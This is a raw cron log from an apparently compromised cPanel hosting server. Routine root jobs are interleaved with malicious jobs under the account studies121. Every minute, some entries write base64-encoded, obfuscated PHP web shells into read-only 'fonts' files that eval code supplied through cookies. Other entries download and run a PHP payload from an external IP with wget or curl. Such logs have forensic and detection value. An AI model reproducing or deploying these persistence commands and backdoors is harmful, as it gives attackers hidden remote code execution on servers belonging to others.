Sep 11 14:24:01 ip-184-168-122-23 CROND[17961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:24:01 ip-184-168-122-23 CROND[17963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:24:01 ip-184-168-122-23 CROND[17960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:25:01 ip-184-168-122-23 CROND[18087]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:25:01 ip-184-168-122-23 CROND[18092]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 14:25:01 ip-184-168-122-23 CROND[18089]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 11 14:25:01 ip-184-168-122-23 CROND[18090]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 14:25:01 ip-184-168-122-23 CROND[18091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:25:01 ip-184-168-122-23 CROND[18086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:25:01 ip-184-168-122-23 CROND[18088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:26:01 ip-184-168-122-23 CROND[18199]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:26:01 ip-184-168-122-23 CROND[18203]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep 11 14:26:01 ip-184-168-122-23 CROND[18200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:26:01 ip-184-168-122-23 CROND[18201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:26:01 ip-184-168-122-23 CROND[18202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:26:01 ip-184-168-122-23 CROND[18205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 11 14:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 11 14:27:01 ip-184-168-122-23 CROND[18400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:27:01 ip-184-168-122-23 CROND[18402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:27:01 ip-184-168-122-23 CROND[18403]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:27:01 ip-184-168-122-23 CROND[18405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:28:01 ip-184-168-122-23 CROND[18495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:28:01 ip-184-168-122-23 CROND[18496]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:28:01 ip-184-168-122-23 CROND[18498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:28:01 ip-184-168-122-23 CROND[18497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:28:01 ip-184-168-122-23 CROND[18499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:29:01 ip-184-168-122-23 CROND[18683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:29:01 ip-184-168-122-23 CROND[18684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:29:01 ip-184-168-122-23 CROND[18685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:29:01 ip-184-168-122-23 CROND[18686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:30:01 ip-184-168-122-23 CROND[18776]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 14:30:01 ip-184-168-122-23 CROND[18782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:30:01 ip-184-168-122-23 CROND[18779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:30:01 ip-184-168-122-23 CROND[18780]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:30:01 ip-184-168-122-23 CROND[18781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:30:01 ip-184-168-122-23 CROND[18786]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 14:30:01 ip-184-168-122-23 CROND[18787]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 14:30:01 ip-184-168-122-23 CROND[18788]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:31:01 ip-184-168-122-23 CROND[18881]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:31:01 ip-184-168-122-23 CROND[18884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:31:01 ip-184-168-122-23 CROND[18883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:31:01 ip-184-168-122-23 CROND[18885]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 14:31:01 ip-184-168-122-23 CROND[18886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:32:01 ip-184-168-122-23 CROND[19113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:32:01 ip-184-168-122-23 CROND[19115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:32:01 ip-184-168-122-23 CROND[19116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:32:01 ip-184-168-122-23 CROND[19118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:32:01 ip-184-168-122-23 CROND[19117]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:33:01 ip-184-168-122-23 CROND[19335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:33:01 ip-184-168-122-23 CROND[19338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:33:01 ip-184-168-122-23 CROND[19337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:33:01 ip-184-168-122-23 CROND[19336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:34:02 ip-184-168-122-23 CROND[19502]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:34:02 ip-184-168-122-23 CROND[19500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:34:02 ip-184-168-122-23 CROND[19503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:34:02 ip-184-168-122-23 CROND[19504]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:34:02 ip-184-168-122-23 CROND[19501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:35:01 ip-184-168-122-23 CROND[19598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:35:01 ip-184-168-122-23 CROND[19601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:35:01 ip-184-168-122-23 CROND[19602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:35:01 ip-184-168-122-23 CROND[19603]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 14:35:01 ip-184-168-122-23 CROND[19605]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 14:35:01 ip-184-168-122-23 CROND[19607]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 14:35:01 ip-184-168-122-23 CROND[19604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:35:01 ip-184-168-122-23 CROND[19606]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
